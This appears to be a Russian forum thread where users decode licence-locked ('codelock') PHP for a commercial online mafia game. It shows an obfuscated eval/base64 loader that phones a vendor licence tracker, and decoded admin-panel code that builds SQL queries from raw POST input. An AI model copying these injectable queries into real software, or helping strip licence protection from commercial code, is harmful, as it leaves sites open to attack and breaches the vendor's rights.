Раскодировать PHP old

Статус
В этой теме нельзя размещать новые ответы.
Вот спасибо, за расшифровку! :ay:
Буду очень благодарен, если поможете ещё с этими тремя.
1
PHP:
<?php $codelock_decrypter["filename"] = __FILE__; eval(base64_decode("b2Jfc3RhcnQoKTsgJGNvZGVsb2NrX2RlY3J5cHRlclsiZXJyb3JfbGV2ZWwiXSA9IGVycm9yX3JlcG9ydGluZyhFX0FMTCBeIEVfTk9USUNFKTsgJGNvZGVsb2NrX2RlY3J5cHRlclsibGljZW5zZSJdID0gIjlMNEYtSjlDQy1DQkRaN05IUldOM0kiOyAkY29kZWxvY2tfZGVjcnlwdGVyWyJ0Il0gPSBiYXNlNjRfZGVjb2RlKCJVQ29VYmd3cFZTSXdYaHduUERORU9qdDZOQ0ZYTEZValZ5MEVZeGs0SUVFaU1UZDZWQ0VzTnpzaFVDSVpOMEluWDJvZEhEZGZJaUV2UDBVN09qNElkVVVvUzJ3UUdVRWpXaVl0VGlZZGZ5eFdQR2gyQ0MxVklGVXBhMzFiSzB0alozSTNMelErWGp3WGFTRXZRV2tkRTBBclhTeFFMeVp5ZURRbEtCZHFGekUyTFZzc1h5VllJM0p4VHlJeERXY2RNU2hlRVhNa05qd1RiV1lxWFNwSUxsZzNJbko0SkRFMFZEb2hQVGx1VUNaZEtWZ3BUaUVaYTJkeUppd25QRjRpTFExN2JoY1dWU1ZYSTBNcFhCeHZEV2NkSnloT1BqdzVNamRzYVFSc0ZtUUVha0puTjBVcU1XbGthQzB1T3pzcmJHa0ViQkFaU0NSYUpTcEJKaDEvZmtNbUlTRjZjR3c5U3kxWExVZzRUREV2Y21OL1pIaGZPandpYldFY08xZzZWU2dESTFjbExBSXZLeWMvV1QwdGZTTThVaXBTS1Vab1hTSkpZWGdKTnlvdEtScHdGejQrTFZZbldpbHJaaEJxSFJ3dlJDQW5LamxTRVhOMkl5WmFPaFJ5YXlCRUpsd25JbGtpSFdSbkYyb1hNU1UzUXoxU0tVMFpGaU5mWTJzTUpUY3FPVU1uSn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GwDaRERFl9YMAsEER1EUxIHXxBFWgYFWBVbBgQNUhZbRlJ5EGh6Hl1CQgVDB0VWGggBAgJQGxgSSENSezhPTns=
PHP:
if (!class_exists(codelock)) {class codelock {var $_trackerurl_;var $_licence_;var $_cfile_;var $_tmpdir_;var $_tmpfile_;var $_cachefile_;var $_uri_;var $_filedata_;function codelock ($_encfile_, $_licence_, $_cryptkey_ = "") {$this->_cfile_ = $_encfile_;$this->_trackerurl_ = "http://ravan.info/license/tracker.php";$this->_licence_ = $_licence_;$this->_filedata_ = $_cryptkey_;if (!function_exists("sys_get_temp_dir")) {if (!empty($_ENV["TMP"])) {$this->_tmpdir_ = realpath($_ENV["TMP"]);} elseif (!empty($_ENV["TMPDIR"])) {$this->_tmpdir_ = realpath($_ENV["TMPDIR"]);} elseif (!empty($_ENV["TEMP"])) {$this->_tmpdir_ = realpath($_ENV["TEMP"]);} else {$_tempfile_ = @tempnam("","");if ($_tempfile_ != "") {$this->_tmpdir_ = realpath(dirname($_tempfile_));@unlink($_tempfile_);} else {$this->_tmpdir_ = FALSE;}}} else {$this->_tmpdir_ = sys_get_temp_dir();}$this->_tmpfile_ = $this->_tmpdir_."/".$this->_licence_.".cdk";if ($_SERVER["REQUEST_URI"] != "") {$uri = $_SERVER["REQUEST_URI"];} elseif ($_SERVER["SCRIPT_NAME"] != "") {$uri = $_SERVER["SCRIPT_NAME"];} elseif ($HTTP_SERVER_VARS["REQUEST_URI"] != "") {$uri = $HTTP_SERVER_VARS["REQUEST_URI"];}$this->_uri_ = $_SERVER["SERVER_NAME"].$uri;if (is_dir($this->_tmpdir_)) {@touch ($this->_tmpfile_);$this->_filedata_ = @file_get_contents($this->_tmpfile_);}if (!file_exists($this->_tmpfile_)) {if (!is_dir("./cache")) {@mkdir("./cache");}$this->_cachefile_ = "./cache/".$this->_licence_.".cdk";@touch ($this->_cachefile_);$this->_filedata_ = @file_get_contents($this->_cachefile_);if (!file_exists($this->_cachefile_)) {echo "This server has very limited write permission authority. To work around this you need to create a folder called \"cache\" and chmod write permissions to 777 (within each subfolder), otherwise this server is incompatible with this script!";die;}}}function output () {if (file_exists($this->_cfile_)) {$_filedata_ = fopen($this->_cfile_, "r");if ($_filedata_) {$_buf_ = "";while (!feof($_filedata_)) {$_line_ = fgets($_filedata_, 16384);if (substr($_line_, 0, 2) != "//" && substr($_line_, 0, 2) != "".$_cypher_."";}function _tracker_ () {$_lock_ = "";if ($this->_filedata_ != "") {$_lock_ = $this->_filedata_;$_lock_ = str_replace(array("-","_","."),array("+","/","="),$_lock_);for ($_x_=0; $_x_ < strlen(base64_decode(urldecode($_lock_))); $_x_++) {$_y_ = substr(base64_decode(urldecode($_lock_)), $_x_, 1);$_z_ = substr($this->_licence_, $_x_ % strlen($this->_licence_), 1);$_cypher_ .= chr(ord($_y_) ^ ord($_z_));}list($codelock, $expiry, $checkback, $checksum, $extras) = split("\|", $_cypher_, 5);if ($checkback < mktime(date("G"), date("i"), date("s"), date("m"), date("d"), date("Y"))) {$_lock_ = "";}}if ($_lock_ == "") {$_buf_ = "";$_filedata_ = fopen($this->_cfile_, "r");if ($_filedata_) {$_buf_ = fgets($_filedata_, 16384);$_buf_ = eregi_replace("\n","",$_buf_);$_buf_ = eregi_replace("\r","",$_buf_);}fclose($_filedata_);$_checksum_ = md5($_buf_);$_tracker_url_ = $this->_trackerurl_;$data = array("uri" => $this->_uri_, "licence" => $this->_licence_, "checksum" => $_checksum_);if (eregi("https://", $_tracker_url_)) {$ssl = "ssl://";$port = 443;$_tracker_url_ = preg_replace("@^https://@i", "", $_tracker_url_);} else {$ssl = "";$port = 80;$_tracker_url_ = preg_replace("@^http://@i", "", $_tracker_url_);}$host = substr($_tracker_url_, 0, strpos($_tracker_url_, "/"));$uri = strstr($_tracker_url_, "/");$reqbody = "";foreach ($data as $key=>$val) {if (!empty($reqbody)) {$reqbody.= "&";}$reqbody.= $key."=".urlencode($val);}$contentlength = strlen($reqbody);$reqheader = "POST ".$uri." HTTP/1.1\r\n";$reqheader .= "Host: ".$host."\r\n";$reqheader .= "Content-Type: application/x-www-form-urlencoded\r\n";$reqheader .= "Content-Length: $contentlength\r\n\r\n";$reqheader .= $reqbody."\r\n";$socket = fsockopen($ssl.$host, $port, $errno, $errstr);if ($socket) {fputs($socket, $reqheader);while (!feof($socket)) {$result[] = trim(fgets($socket));if (substr($result[count($result)-1], 0, 9) == "codelock=") {$_lock_ = eregi_replace("codelock=", "", $result[count($result)-1]);$_lock_ = str_replace(array("+","/","="),array("-","_","."),$_lock_);break;} elseif (substr($result[count($result)-1], 0, 6) == "error=") {$error = eregi_replace("error=", "", $result[count($result)-1]);break;}}fclose($socket);} else {if ($extras != "") {list($allowrun, $checkback2) = split("&", $extras);if ($allowrun == "on") {if ($checkback2 < mktime(date("G"), date("i"), date("s"), date("m"), date("d"), date("Y"))) {echo "There is an error authenticating the status of this script.";} else {$checkback = mktime(date("G"), date("i")+10, date("s"), date("m"), date("d"), date("Y"));$codelock = $codelock."|".$expiry."|".$checkback."|".$checksum."|".$extras;for ($x=0; $x < strlen($codelock); $x++) {$y = substr($codelock, $x, 1);$z = substr($code, $x % strlen($code), 1);$c .= chr(ord($y) ^ ord($z));}$_lock_ = urlencode(base64_encode($c));$_lock_ = str_replace(array("+","/","="),array("-","_","."),$_lock_);}} else {echo "There is an error authenticating the status of this script.";}} else {echo "There is an error authenticating the status of this script.";}}$fh = @fopen($this->_tmpfile_, "w");if ($fh) {@fwrite($fh, $_lock_);@fclose($fh);} else {$fh2 = @fopen($this->_cachefile_, "w");@fwrite($fh2, $_lock_);@fclose($fh2);}}$_lock_ = urldecode($_lock_);if ($error != "") {echo base64_decode($error);die;}return $_lock_;}function _cryptkey_ () {return $this->_filedata_;}}}$codelock_decrypter["locker"] = new codelock($codelock_decrypter["filename"], $codelock_decrypter["license"], $codelock_decrypter["cryptkey"]);eval($codelock_decrypter["locker"]->output()); $codelock_decrypter["cryptkey"] = $codelock_decrypter["locker"]->_cryptkey_;
 
Вот спасибо, за расшифровку! :ay:
Буду очень благодарен, если поможете ещё с этими тремя.
1
PHP:
<?php $codelock_decrypter["filename"] = __FILE__;...
2
PHP:
<?php 
$codelock_decrypter["filename"] = __FILE__; ...
3
PHP:
<?php $codelock_decrypter["filename"] = __FILE__;...
Раскодированное:
1.
PHP:
<?php

if(!file_exists("config.php"))
{
die("Configuration file not found !");
}

if(!file_exists("footer.php"))
{
die("Footer file not found !");
}

if(!file_exists("lfooter.php"))
{
die("Footer file not found !");
}

require "config.php";

?>

2.
PHP:
<?php       

/**************************************************************************************************
| Software Name        : Ravan Scripts Online Mafia Game
| Software Author      : Ravan Soft Tech
| Software Version     : Version 2.0.1 Build 2101
| Website              : http://www.ravan.info/
| E-mail               : support@ravan.info
|**************************************************************************************************
| The source files are subject to the Ravan Scripts End-User License Agreement included in License Agreement.html
| The files in the package must not be distributed in whole or significant part.
| All code is copyrighted unless otherwise advised.
| Do Not Remove Powered By Ravan Scripts without permission .         
|**************************************************************************************************
| Copyright (c) 2010 Ravan Scripts . All rights reserved.
|**************************************************************************************************/
include "sglobals.php";
//This contains general thingies
switch($_GET['action'])
{
case 'basicset': basicsettings(); break;
case 'announce': announcements(); break;
case 'cmanual': cronmanual(); break; 
default: index(); break;
}
function basicsettings()
{
global $db,$ir,$c,$h,$userid,$set;
if($ir['user_level'] != 2)
{
die("403");
}
if($_POST['submit'])
{
unset($_POST['submit']);
foreach($_POST as $k => $v)
{
$db->query("UPDATE `settings` SET conf_value='$v' WHERE conf_name='$k'");
}
print "Settings updated!<br />
<a href='staff.php?action=basicset'>Back</a>";
stafflog_add("Updated the basic game settings");
}
else
{
print "

<div class='generalinfo_txt'>
<div><img src='images/info_left.jpg' alt='' /></div>
<div class='info_mid'><h2 style='padding-top:10px;'> Basic Settings</h2></div>
<div><img src='images/info_right.jpg' alt='' /></div> </div>
<div class='generalinfo_simple'><br> <br><br>


<br>
<form action='staff.php?action=basicset' method='post'>
<input type='hidden' name='submit' value='1' />
Game Name: <input type='text' STYLE='color: black;  background-color: white;' name='game_name' value='{$set['game_name']}' /><br />
Game Owner: <input type='text' STYLE='color: black;  background-color: white;' name='game_owner' value='{$set['game_owner']}' /><br />
Game Description:<br />
<textarea rows='15' cols='55' name='game_description'>{$set['game_description']}</textarea><br />
Paypal Address: <input type='text' STYLE='color: black;  background-color: white;' name='paypal' value='{$set['paypal']}' /><br />
Gym/Crimes Validation: <select name='validate_on' type='dropdown'>";
$opt=array(
"1" => "On",
"0" => "Off"
);
foreach($opt as $k => $v)
{
if($k == $set['validate_on'])
{
print "<option value='{$k}' selected='selected'>{$v}</option>";
}
else
{
print "<option value='{$k}'>{$v}</option>";
}
}
print "</select><br />

Validation Period: <select name='validate_period' type='dropdown'>";
$opt=array(
"5" => "Every 5 Minutes",
"15" => "Every 15 Minutes",
"60" => "Every Hour",
"login" => "Every Login"
);
foreach($opt as $k => $v)
{
if($k == $set['validate_period'])
{
print "<option value='{$k}' selected='selected'>{$v}</option>";
}
else
{
print "<option value='{$k}'>{$v}</option>";
}
}
print "</select><br />
Registration CAPTCHA: <select name='regcap_on' type='dropdown'>";
$opt=array(
"1" => "On",
"0" => "Off"
);
foreach($opt as $k => $v)
{
if($k == $set['regcap_on'])
{
print "<option value='{$k}' selected='selected'>{$v}</option>";
}
else
{
print "<option value='{$k}'>{$v}</option>";
}
}
print "</select><br />
Send Crystals: <select name='sendcrys_on' type='dropdown'>";
$opt=array(
"1" => "On",
"0" => "Off"
);
foreach($opt as $k => $v)
{
if($k == $set['sendcrys_on'])
{
print "<option value='{$k}' selected='selected'>{$v}</option>";
}
else
{
print "<option value='{$k}'>{$v}</option>";
}
}
print "</select><br />

Bank Xfers: <select name='sendbank_on' type='dropdown'>";
$opt=array(
"1" => "On",
"0" => "Off"
);
foreach($opt as $k => $v)
{
if($k == $set['sendbank_on'])
{
print "<option value='{$k}' selected='selected'>{$v}</option>";
}
else
{
print "<option value='{$k}'>{$v}</option>";
}
}
print "</select><br />
Energy Refill Price (crystals): <input type='text' STYLE='color: black;  background-color: white;' name='ct_refillprice' value='{$set['ct_refillprice']}' /><br />
IQ per crystal: <input type='text' STYLE='color: black;  background-color: white;' name='ct_iqpercrys' value='{$set['ct_iqpercrys']}' /><br />
Money per crystal: <input type='text' STYLE='color: black;  background-color: white;' name='ct_moneypercrys' value='{$set['ct_moneypercrys']}' /><br />
Will Potion Item: ".item_dropdown($c, "willp_item", $set['willp_item'])."<br />
<input type='submit' STYLE='color: black;  background-color: white;' value='Update Settings' /></form></div><div><img src='images/generalinfo_btm.jpg' alt='' /></div><br></div></div></div></div></div>";
}
}
function announcements()
{
global $db,$ir,$c,$h,$userid,$set;
if($ir['user_level'] != 2)
{
die("403");
}
if($_POST['text'])
{
$db->query("INSERT INTO announcements VALUES('{$_POST['text']}', unix_timestamp())");
$db->query("UPDATE users SET new_announcements=new_announcements+1");
print "Announcement added!<br />

&gt; <a href='staff.php'>Back</a>";
stafflog_add("Added a new announcement");
}
else
{
print "

<div class='generalinfo_txt'>
<div><img src='images/info_left.jpg' alt='' /></div>
<div class='info_mid'><h2 style='padding-top:10px;'> Adding an announcement...</h2></div>
<div><img src='images/info_right.jpg' alt='' /></div> </div>
<div class='generalinfo_simple'><br> <br><br>

Please try to make sure the announcement is concise and covers everything you want it to.<form action='staff.php?action=announce' method='post'>
Announcement text:<br />

<textarea name='text' rows='10' cols='60'></textarea><br />
<input type='submit' STYLE='color: black;  background-color: white;' value='Add Announcement' /></form></div><div><img src='images/generalinfo_btm.jpg' alt='' /></div><br></div></div></div></div></div>";
}
}


function cronmanual()
{
global $db,$ir,$c,$h,$userid,$set;
if($ir['user_level'] != 2)
{
die("403");
}
print "



<div class='generalinfo_txt'>
<div><img src='images/info_left.jpg' alt='' /></div>
<div class='info_mid'><h2 style='padding-top:10px;'> Manual Cron Jobs</h2></div>
<div><img src='images/info_right.jpg' alt='' /></div> </div>
<div class='generalinfo_simple'><br> <br><br>


<style type='text/css'>
.style1 {
    color: #FF0000;
}
.style2 {
    text-decoration: underline;
    color: #008000;
}
</style>

You can manually run cron jobs from here.<br><br>
<span class='style1'><b>Warning</b></span>: Use only for testing. Statistics are updated 
every time you run a corresponding cron instead of time limit.
<br><br>
<a href='cron_srun_minute.php'>Run 1 Minute Cron Jobs</a> [ Updates Jail and 
Hospital Time ]<br><br>
<a href='cron_srun_five.php'>Run 5 Minute Cron Jobs</a> [ Updates User 
Statistics ]<br><br>

<a href='cron_srun_hour.php'>Run Hourly Cron Jobs</a>&nbsp; [ Updates Hourly 
Cron ]<br><br>

<a href='cron_srun_day.php'>Run Daily Cron Jobs</a>&nbsp; [ Updates Daily Cron ]<br><br>


<a href='battle_cron.php'>Run Battle Ladder Cron</a>&nbsp; [ Updates Battle Ladder Cron Job ] <br><br> 

Run Battle Ladder cron , every week , month or so ! <br>Running this job credit the table leader with cash and points and also reset the battle ladder for new tournament !

</div><div><img src='images/generalinfo_btm.jpg' alt='' /></div><br></div></div></div></div></div>


";
}



function index()
{
global $db,$ir,$c,$h,$userid,$set, $_CONFIG;
$pv=phpversion();
$mv=$db->fetch_single($db->query("SELECT VERSION()"));
$dv=$_CONFIG['driver'];
if($ir['user_level']==2)
{
$versionno=2101;
$version="2.1.01";
print "


<div class='generalinfo_txt'>
<div><img src='images/info_left.jpg' alt='' /></div>
<div class='info_mid'><h2 style='padding-top:10px;'> Game Engine Information</h2></div>
<div><img src='images/info_right.jpg' alt='' /></div> </div>
<div class='generalinfo_simple'><br> <br><br>



<table width='75%' cellspacing='1' class='table'>
<tr>
<th>PHP Version:</th>
<td>$pv</td>

</tr>
<tr>
<th>MySQL Version:</th>
<td>$mv</td>
</tr>
<tr>
<th>MySQL Driver:</th>
<td>$dv</td>
</tr>
<tr>
<th>Ravan's MMORPG Script  </th>
<td>2.1.01 (Build: 2101)</td>

</tr>
</table></div><div><img src='images/generalinfo_btm.jpg' alt='' /></div><br></div></div></div></div></div>
     
     
<div class='generalinfo_txt'>
<div><img src='images/info_left.jpg' alt='' /></div>
<div class='info_mid'><h2 style='padding-top:10px;'> Last 10 Staff Actions</h2></div>
<div><img src='images/info_right.jpg' alt='' /></div> </div>
<div class='generalinfo_simple'><br> <br><br>     
          


<table width='90%' cellspacing='1' class='table'>
<tr>
<th>Staff</th>
<th>Action</th>

<th>Time</th>
<th>IP</th>
</tr>";
$q=$db->query("SELECT s.*, u.* FROM stafflog AS s LEFT JOIN users AS u ON s.user=u.userid ORDER BY s.time DESC LIMIT 10");
while($r=$db->fetch_row($q))
{
print "<tr><td>{$r['username']} [{$r['user']}]</td> <td>{$r['action']}</td> <td>".date('F j Y g:i:s a', $r['time'])."</td> <td>{$r['ip']}</td></tr>";
}
print "</table></div><div><img src='images/generalinfo_btm.jpg' alt='' /></div><br></div></div></div></div></div>";
}
print "   

<div class='generalinfo_txt'>
<div><img src='images/info_left.jpg' alt='' /></div>
<div class='info_mid'><h2 style='padding-top:10px;'> Staff Notepad</h2></div>

<div><img src='images/info_right.jpg' alt='' /></div> </div>
<div class='generalinfo_simple'><br> <br><br>";
if($_POST['pad'])
{
$db->query("UPDATE settings SET conf_value='{$_POST['pad']}' WHERE conf_name='staff_pad'");
$set['staff_pad']=stripslashes($_POST['pad']);
print "<b>Staff Notepad Updated!</b><hr />";
}
print "<form action='staff.php' method='post'>
<textarea rows='10' cols='60' name='pad'>".htmlspecialchars($set['staff_pad'])."</textarea><br />
<input type='submit' STYLE='color: black;  background-color: white;' value='Update Notepad' /></form></div><div><img src='images/generalinfo_btm.jpg' alt='' /></div><br></div></div></div></div></div>";
}
$h->endpage();
?>

3.
PHP:
<?php    

/**************************************************************************************************
| Software Name        : Ravan Scripts Online Mafia Game
| Software Author      : Ravan Soft Tech
| Software Version     : Version 2.0.1 Build 2101
| Website              : http://www.ravan.info/
| E-mail               : support@ravan.info
|**************************************************************************************************
| The source files are subject to the Ravan Scripts End-User License Agreement included in License Agreement.html
| The files in the package must not be distributed in whole or significant part.
| All code is copyrighted unless otherwise advised.
| Do Not Remove Powered By Ravan Scripts without permission .         
|**************************************************************************************************
| Copyright (c) 2010 Ravan Scripts . All rights reserved.
|**************************************************************************************************/
global $db,$c,$ir, $set;

print "



<div class='navi_mid'><ul>

<br><li> <a class='link1' href='index.php'><b>Back To Game</b></a>
</div><div><img src='images/navi_btm.gif' alt='' /></div></div> 
 
 
<div class='navipart'>
<div class='navitop'>
<p><h2><strong>&nbsp;&nbsp; General</strong></h2></p>
</div>
<div class='navi_mid'><ul>
                
<li> <a class='link1' href='staff.php'>Index</a></li>";
if($ir['user_level']==2)
{
print "
 

<li> <a class='link1' href='staff.php?action=basicset'>Basic Settings</a></li>
<li> <a class='link1' href='staff.php?action=announce'>Add Announcement</a></li>
<li> <a class='link1' href='staff.php?action=cmanual'>Manual Cron Jobs</a></li>

</div><div><img src='images/navi_btm.gif' alt='' /></div></div>  

";
}
if($ir['user_level'] <= 3)
{
print "
<div class='navipart'>
<div class='navitop'>
<p><h2><strong>&nbsp;&nbsp; Users</strong></h2></p>

</div>
<div class='navi_mid'><ul>
";
if($ir['user_level']==2)
{
print "  
<li> <a class='link1' href='staff_users.php?action=newuser'>Create New User</a></li>
<li> <a class='link1' href='staff_users.php?action=edituser'>Edit User</a></li>
<li> <a class='link1' href='staff_users.php?action=deluser'>Delete User</a></li>";
}
print "<li> <a class='link1' href='staff_users.php?action=invbeg'>View User Inventory</a></li>
<li> <a class='link1' href='staff_users.php?action=creditform'>Credit User</a></li>";
if($ir['user_level']==2)
{
print "<li> <a class='link1' href='staff_users.php?action=masscredit'>Mass Payment</a></li>

<li> <a class='link1' href='staff_users.php?action=forcelogout'>Force User Logout</a></li>";
}
print " 
<li> <a class='link1' href='staff_users.php?action=reportsview'>Player Reports</a></li>
</div><div><img src='images/navi_btm.gif' alt='' /></div></div> 

";
print " 
<div class='navipart'><div class='navitop'><p><h2><strong>&nbsp;&nbsp; Items</strong></h2></p></div><div class='navi_mid'><ul>
";
if($ir['user_level']==2)
{
print "<li> <a class='link1' href='staff_items.php?action=newitem'>Create New Item</a></li>";
}
if($ir['user_level']==2)
{
print "<li> <a class='link1' href='staff_items.php?action=edititem'>Edit Item</a></li>

<li> <a class='link1' href='staff_items.php?action=killitem'>Delete An Item</a></li>
<li> <a class='link1' href='staff_items.php?action=newitemtype'>Add Item Type</a></li>
";
}
print "<li> <a class='link1' href='staff_items.php?action=giveitem'>Give Item To User</a></li>
</div><div><img src='images/navi_btm.gif' alt='' /></div></div> ";
}
print "
<div class='navipart'><div class='navitop'><p><h2><strong>&nbsp;&nbsp; Logs</strong></h2></p></div><div class='navi_mid'><ul>
<li> <a class='link1' href='staff_logs.php?action=atklogs'>Attack Logs</a></li>

<li> <a class='link1' href='staff_logs.php?action=cashlogs'>Cash Xfer Logs</a></li>
<li> <a class='link1' href='staff_logs.php?action=cryslogs'>Crystal Xfer Logs</a></li>
<li> <a class='link1' href='staff_logs.php?action=banklogs'>Bank Xfer Logs</a></li>
<li> <a class='link1' href='staff_logs.php?action=itmlogs'>Item Xfer Logs</a></li>";
if($ir['user_level'] == 2)
{
print "<li> <a class='link1' href='staff_logs.php?action=stafflogs'>Staff Logs</a></li>";
}
print " <li> <a class='link1' href='staff_logs.php?action=maillogs'>Mail Logs</a></li> 
 </div><div><img src='images/navi_btm.gif' alt='' /></div></div> "; 

if($ir['user_level'] <= 3)
{
print "


<div class='navipart'><div class='navitop'><p><h2><strong>&nbsp;&nbsp; Gangs</strong></h2></p></div><div class='navi_mid'><ul>
<li> <a class='link1' href='staff_gangs.php?action=grecord'>Gang Record</a></li>
<li> <a class='link1' href='staff_gangs.php?action=gcredit'>Credit Gang</a></li>
<li> <a class='link1' href='staff_gangs.php?action=gwar'>Manage Gang Wars</a></li>
<li> <a class='link1' href='staff_gangs.php?action=gedit'>Edit Gang</a></li>
<li> <a class='link1' href='staff_gangs.php?action=gedel'>Delete Gang</a></li>

</div><div><img src='images/navi_btm.gif' alt='' /></div></div> ";
}
if($ir['user_level']==2)
{
print " 

<div class='navipart'><div class='navitop'><p><h2><strong>&nbsp;&nbsp; Shops</strong></h2></p></div><div class='navi_mid'><ul>
<li> <a class='link1' href='staff_shops.php?action=newshop'>Create New Shop</a></li>
<li> <a class='link1' href='staff_shops.php?action=newstock'>Add Item To Shop</a></li>
<li> <a class='link1' href='staff_shops.php?action=delshop'>Delete Shop</a></li>
</div><div><img src='images/navi_btm.gif' alt='' /></div></div> 
<div class='navipart'><div class='navitop'><p><h2><strong>&nbsp;&nbsp; Polls</strong></h2></p></div><div class='navi_mid'><ul>  

<li> <a class='link1' href='staff_polls.php?action=spoll'>Start Poll</a></li>
<li> <a class='link1' href='staff_polls.php?action=endpoll'>End A Poll</a></li>
</div><div><img src='images/navi_btm.gif' alt='' /></div></div>
<div class='navipart'><div class='navitop'><p><h2><strong>&nbsp;&nbsp; Jobs</strong></h2></p></div><div class='navi_mid'><ul>  
<li> <a class='link1' href='staff_jobs.php?action=newjob'>Make a new Job</a></li>
<li> <a class='link1' href='staff_jobs.php?action=jobedit'>Edit a Job</a></li>
<li> <a class='link1' href='staff_jobs.php?action=jobdele'>Delete a Job</a></li>

<li> <a class='link1' href='staff_jobs.php?action=newjobrank'>Make a new Job Rank</a></li>
<li> <a class='link1' href='staff_jobs.php?action=jobrankedit'>Edit a Job Rank</a></li>
<li> <a class='link1' href='staff_jobs.php?action=jobrankdele'>Delete a Job Rank</a></li>
</div><div><img src='images/navi_btm.gif' alt='' /></div></div>
<div class='navipart'><div class='navitop'><p><h2><strong>&nbsp;&nbsp; Houses</strong></h2></p></div><div class='navi_mid'><ul>  
<li> <a class='link1' href='staff_houses.php?action=addhouse'>Add House</a></li>
<li> <a class='link1' href='staff_houses.php?action=edithouse'>Edit House</a></li>

<li> <a class='link1' href='staff_houses.php?action=delhouse'>Delete House</a></li>
</div><div><img src='images/navi_btm.gif' alt='' /></div></div>
<div class='navipart'><div class='navitop'><p><h2><strong>&nbsp;&nbsp; Cities</strong></h2></p></div><div class='navi_mid'><ul>  
<li> <a class='link1' href='staff_cities.php?action=addcity'>Add City</a></li>
<li> <a class='link1' href='staff_cities.php?action=editcity'>Edit City</a></li>
<li> <a class='link1' href='staff_cities.php?action=delcity'>Delete City</a></li>
</div><div><img src='images/navi_btm.gif' alt='' /></div></div>

<div class='navipart'><div class='navitop'><p><h2><strong>&nbsp;&nbsp; Forums</strong></h2></p></div><div class='navi_mid'><ul>  
<li> <a class='link1' href='staff_forums.php?action=addforum'>Add Forum</a></li>
<li> <a class='link1' href='staff_forums.php?action=editforum'>Edit Forum</a></li>
<li> <a class='link1' href='staff_forums.php?action=delforum'>Delete Forum</a></li>
</div><div><img src='images/navi_btm.gif' alt='' /></div></div>
<div class='navipart'><div class='navitop'><p><h2><strong>&nbsp;&nbsp; Courses</strong></h2></p></div><div class='navi_mid'><ul>  
<li> <a class='link1' href='staff_courses.php?action=addcourse'>Add Course</a></li>

<li> <a class='link1' href='staff_courses.php?action=editcourse'>Edit Course</a></li>
<li> <a class='link1' href='staff_courses.php?action=delcourse'>Delete Course</a></li>
</div><div><img src='images/navi_btm.gif' alt='' /></div></div>
<div class='navipart'><div class='navitop'><p><h2><strong>&nbsp;&nbsp; Crimes</strong></h2></p></div><div class='navi_mid'><ul>  
<li> <a class='link1' href='staff_crimes.php?action=newcrime'>Create New Crime</a></li>
<li> <a class='link1' href='staff_crimes.php?action=editcrime'>Edit Crime</a></li>
<li> <a class='link1' href='staff_crimes.php?action=delcrime'>Delete Crime</a></li> 

<li> <a class='link1' href='staff_crimes.php?action=newcrimegroup'>Create New Crime Group</a></li>
<li> <a class='link1' href='staff_crimes.php?action=editcrimegroup'>Edit Crime Group</a></li>
<li> <a class='link1' href='staff_crimes.php?action=delcrimegroup'>Delete Crime Group</a></li>
<li> <a class='link1' href='staff_crimes.php?action=reorder'>Reorder Crime Groups</a></li>
</div><div><img src='images/navi_btm.gif' alt='' /></div></div>


<div class='navipart'><div class='navitop'><p><h2><strong>&nbsp;&nbsp; Battle Tent</strong></h2></p></div><div class='navi_mid'><ul>  

<li> <a class='link1' href='staff_battletent.php?action=addbot'>Add Challenge Bot</a></li>
<li> <a class='link1' href='staff_battletent.php?action=editbot'>Edit Challenge Bot</a></li>
<li> <a class='link1' href='staff_battletent.php?action=delbot'>Remove Challenge Bot</a></li>
</div><div><img src='images/navi_btm.gif' alt='' /></div></div>

<div class='navipart'><div class='navitop'><p><h2><strong>&nbsp;&nbsp; Battle Ladder</strong></h2></p></div><div class='navi_mid'><ul>  
<li> <a class='link1' href='staff_ladder.php?act=CreateLadder'>Create Ladder</a></li>

<li> <a class='link1' href='staff_ladder.php?act=DeleteLadder'>Remove Ladder</a></li>
</div><div><img src='images/navi_btm.gif' alt='' /></div></div>

";
}
print "
<div class='navipart'><div class='navitop'><p><h2><strong>&nbsp;&nbsp; Punishments</strong></h2></p></div><div class='navi_mid'><ul>  
<li> <a class='link1' href='staff_punit.php?action=mailform'>Mail Ban User</a></li>
<li> <a class='link1' href='staff_punit.php?action=unmailform'>Un-Mailban User</a></li>
<li> <a class='link1' href='staff_punit.php?action=forumform'>Forum Ban User</a></li>

<li> <a class='link1' href='staff_punit.php?action=unforumform'>Un-Forumban User</a></li>
<li> <a class='link1' href='staff_punit.php?action=fedform'>Jail User</a></li>
<li> <a class='link1' href='staff_punit.php?action=fedeform'>Edit Fedjail Sentence</a></li>
<li> <a class='link1' href='staff_punit.php?action=unfedform'>Unjail User</a></li>
<li> <a class='link1' href='staff_punit.php?action=ipform'>Ip Search</a></li>
</div><div><img src='images/navi_btm.gif' alt='' /></div></div>
";
if($ir['user_level']==2)
{
print "

<div class='navipart'><div class='navitop'><p><h2><strong>&nbsp;&nbsp; Specials</strong></h2></p></div><div class='navi_mid'><ul>  
<li> <a class='link1' href='staff_special.php?action=editnews'>Edit Newspaper</a></li>
<li> <a class='link1' href='staff_special.php?action=massmailer'>Mass mailer</a></li>
<li> <a class='link1' href='staff_special.php?action=stafflist'>Staff List</a></li>
<li> <a class='link1' href='staff_special.php?action=userlevelform'>Adjust User Level</a></li>
<li> <a class='link1' href='staff_special.php?action=givedpform'>Give User Donator Pack</a></li>";
}

print "

<div class='navipart'><div class='navitop'><p><h2><strong>&nbsp;&nbsp; Staffs Online</strong></h2></p></div><div class='navi_mid'><ul>  
";
$q=$db->query("SELECT * FROM users WHERE laston>(unix_timestamp()-15*60) AND user_level>1 ORDER BY userid ASC");
while($r=$db->fetch_row($q))
{
$la=time()-$r['laston'];
$unit="secs";
if($la >= 60)
{
$la=(int) ($la/60);
$unit="mins";
}
if($la >= 60)
{
$la=(int) ($la/60);
$unit="hours";
if($la >= 24)
{
$la=(int) ($la/24);
$unit="days";
}
}
print "<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<a href='viewuser.php?u={$r['userid']}'>{$r['username']}</a> ($la $unit)<br>
</div><div><img src='images/navi_btm.gif' alt='' /></div></div>";
}

?>
 
Код из шаблона раскодируйте пожалуйста скажжите опасный ли код


PHP:
}
